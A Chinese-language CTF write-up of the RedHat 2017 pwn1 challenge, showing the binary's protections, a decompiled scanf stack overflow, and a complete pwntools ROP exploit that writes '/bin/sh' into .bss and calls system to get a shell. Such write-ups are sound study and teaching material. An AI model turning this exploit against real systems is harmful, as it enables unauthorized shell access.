RedHat 2017-pwn1题目复现
2019-03-18 18:32:18
碰到了RedHat 2017 的一道pwn,算是一道很经典的ROP,这里记录一下。
程序只有一个输入点:
检查保护机制:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看见开启了NX
我们将程序拖进ida中查看:
int __cdecl main()
{
int v1; // [esp+18h] [ebp-28h]
puts("pwn test");
fflush(stdout);
__isoc99_scanf("%s", &v1);
printf("%s", &v1);
return 1;
}
程序流程非常简单,可以看到在scanf函数处存在溢出问题,我们可以使其执行system指令,而在程序中可以找到内置的system指令,但是我们无法在程序中获取到/bin/sh字符串,这里再次利用rop技术,调用scanf函数将/bin/sh字符串读取到程序段中,然后再执行system函数
这里介绍一下神器pwntools的ROP模块的用法,例如:
rop.call('read', (0, elf.bss(0x80)))
其中
(0, elf.bss(0x80))
是read函数的参数,即使call的函数参数只有一个,我们也要使用一个元组(参数1,)这样
回到本程序,我们来判断需要填充的字节个数:
我们需要填写52个无用字符
下面编写exp:
from pwn import *
p = process('./pwn1')
elf = ELF('./pwn1')
rop = ROP('./pwn1')
rop.call(0x08048410,(0x08048629, 0x0804A040))
rop.system(0x0804A040)
payload = str(rop)
p.sendline(52*'a'+payload)
p.sendline('/bin/sh')
p.interactive()
成功获得shell